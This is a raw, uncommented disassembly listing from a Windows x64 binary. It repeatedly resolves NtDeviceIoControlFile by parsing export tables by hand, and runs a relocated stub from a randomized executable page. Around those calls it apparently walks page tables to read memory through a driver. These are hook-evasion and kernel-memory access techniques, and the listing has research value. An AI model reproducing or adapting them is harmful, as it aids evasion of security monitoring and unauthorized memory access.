lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x1400726ba
cmp word [rax], r14w
jne 0x1400726ba
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400726ba
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400726ba
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400726b4
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400724f3
inc rbx
cmp rbx, r14
jb 0x1400724d0
jmp 0x1400726b4
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400726b4
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x1400726b4
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x4f854], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x4e4d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x4e4d0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x4e4d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x99fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140072590
mov r8d, 0x1000
lea rdx, [rbp + 0x99fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe1c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe1c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x878]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x878]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xef0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe1c]
lea r9, [rbp + 0xe1c]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076d01
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x890]
test rbx, rbx
je 0x140076d01
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140072937
cmp word [rax], r14w
jne 0x140072937
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140072937
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140072937
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140072937
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140072775
inc rdi
cmp rdi, r15
jb 0x140072751
jmp 0x140072937
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140072937
mov r15d, dword [rcx + 4]
test r15d, r15d
js 0x140072937
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x50be4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x4f860]
call fcn.1400be1b0
lea rcx, [rbp + 0x4f860]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x4f860]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x98fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140072810
mov r8d, 0x1000
lea rdx, [rbp + 0x98fe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe20]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xe20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x878]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x878]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xef0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xe20]
lea r9, [rbp + 0xe20]
mov edx, 0x1000
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140076d01
test bl, 1
je 0x140076d01
movzx eax, bl
shr al, 7
test al, 1
je 0x140072964
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3ffffffe00000
and edi, 0x1fffff
jmp 0x140072ecf
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x8b0], 0
xor edx, edx
mov qword [rbp + 0x8b8], 0
xorps xmm0, xmm0
mov qword [rbp + 0x8c0], 0
movups xmmword [rbp + 0xf00], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x8a0], 8
mov qword [rbp + 0x8a8], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140072c3a
cmp word [rax], r14w
jne 0x140072c3a
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140072c3a
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140072c3a
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140072c34
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140072a73
inc rbx
cmp rbx, r14
jb 0x140072a50
jmp 0x140072c34
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140072c34
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140072c34
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x51f74], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x50bf0]
call fcn.1400be1b0
lea rcx, [rbp + 0x50bf0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x50bf0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x97fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140072b10
mov r8d, 0x1000
lea rdx, [rbp + 0x97fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe24]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe24], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x8a0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x8a0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xf00]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe24]
lea r9, [rbp + 0xe24]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076d01
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x8b8]
test rbx, rbx
je 0x140076d01
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140072eb1
cmp word [rax], r14w
jne 0x140072eb1
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140072eb1
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140072eb1
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140072eb1
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140072cf5
inc rdi
cmp rdi, r15
jb 0x140072cd1
jmp 0x140072eb1
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140072eb1
mov r15d, dword [rcx + 4]
test r15d, r15d
js 0x140072eb1
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x53304], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x51f80]
call fcn.1400be1b0
lea rcx, [rbp + 0x51f80]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor r12d, r12d
mov edi, r12d
nop
lea rcx, [rbp + 0x51f80]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x96fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140072d90
mov r8d, 0x1000
lea rdx, [rbp + 0x96fe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe28]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xe28], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x8a0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x8a0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf00]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xe28]
lea r9, [rbp + 0xe28]
mov edx, 0x1000
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x140076d01
test bl, 1
je 0x140076d01
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and edi, 0xfff
and rbx, rax
add rdi, rbx
test rdi, rdi
je 0x140076d01
mov rax, rdi
mov qword [rbp + 0x8d8], 0
and eax, 0xfff
mov qword [rbp + 0x8e0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x8e8], 0
mov r15d, 0x1000
mov qword [rbp + 0x8d0], rdi
sub r15, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r15, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r15, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0xf10], xmm0
mov qword [rbp + 0x8c8], r15
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x1400731ac
cmp word [rax], bx
jne 0x1400731ac
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400731ac
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400731ac
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov esi, dword [rax + 0x20]
add r13, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400731a7
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140072fe3
inc rbx
cmp rbx, r14
jb 0x140072fc0
jmp 0x1400731a7
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x1400731a7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x1400731a7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x54694], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x53310]
call fcn.1400be1b0
lea rcx, [rbp + 0x53310]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x53310]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x95fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140073080
mov r8d, 0x1000
lea rdx, [rbp + 0x95fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe2c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe2c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x8c8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x8c8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf10]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe2c]
lea r9, [rbp + 0xe2c]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14007345f
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x8e0]
test rdx, rdx
je 0x14007345f
lea rcx, [rbp + 0xc30]
mov r8, r15
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140073433
cmp word [rax], bx
jne 0x140073433
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140073433
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140073433
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov esi, dword [rax + 0x20]
add r13, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140073433
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140073275
inc rbx
cmp rbx, r14
jb 0x140073252
jmp 0x140073433
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140073433
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140073433
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x55a24], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x546a0]
call fcn.1400be1b0
lea rcx, [rbp + 0x546a0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x546a0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x94fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140073310
mov r8d, 0x1000
lea rdx, [rbp + 0x94fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc50]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc50], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x8c8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x8c8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf10]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc50]
lea r9, [rbp + 0xc50]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14007345f
mov rbx, qword [rbp + 0xc40]
mov rax, qword [rsp + 0x78]
sub rbx, r15
mov rcx, qword [rsp + 0x70]
add rax, r15
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rax
test rbx, rbx
jne 0x140071920
mov r15, qword [rbp + 0xc30]
lea rdx, [rbp - 0x78]
lea rcx, str.LastLink:
mov qword [rbp - 0x78], r15
call fcn.1400c1f00
test r15, r15
je 0x140076d19
mov rcx, qword [rsp + 0x50]
xor eax, eax
nop word [rax + rax]
inc eax
mov qword [rbp + 0x900], 0
mov dword [rbp + 0xe30], eax
mov rdx, rcx
sub rdx, qword [rbp - 0x68]
mov rax, rcx
mov rcx, qword [rbp + 0xc38]
xorps xmm0, xmm0
shr rax, 0x27
and eax, 0x1ff
mov qword [rsp + 0x68], rdx
xor edx, edx
mov qword [rbp + 0x908], 0
mov qword [rbp + 0x910], 0
movups xmmword [rbp + 0xf20], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x8f0], 8
mov qword [rbp + 0x8f8], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
lea rcx, [0x1401fded8]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14007376f
cmp word [rax], r14w
jne 0x14007376f
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14007376f
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14007376f
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov esi, dword [rax + 0x20]
add r13, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140073769
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400735a6
inc rbx
cmp rbx, r14
jb 0x140073583
jmp 0x140073769
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140073769
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140073769
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x56db4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x55a30]
call fcn.1400be1b0
lea rcx, [rbp + 0x55a30]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x55a30]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9cfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140073640
mov r8d, 0x1000
lea rdx, [rbp + 0x9cfe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc54]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc54], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x8f0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x8f0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf20]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc54]
lea r9, [rbp + 0xc54]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x908]
test rbx, rbx
je 0x140076cc1
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc40], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400739f9
cmp word [rax], r14w
jne 0x1400739f9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400739f9
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400739f9
mov r13d, dword [rax + 0x1c]
xor edi, edi
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rbp + 0xc30], rcx
test r12, r12
je 0x1400739f9
nop
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140073834
inc rdi
cmp rdi, r12
jb 0x140073810
jmp 0x1400739f9
mov rax, qword [rbp + 0xc30]
movzx eax, word [rax + rdi*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x1400739f9
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x1400739f9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x58144], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x56dc0]
call fcn.1400be1b0
lea rcx, [rbp + 0x56dc0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
nop
lea rcx, [rbp + 0x56dc0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x9bfe0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400738d0
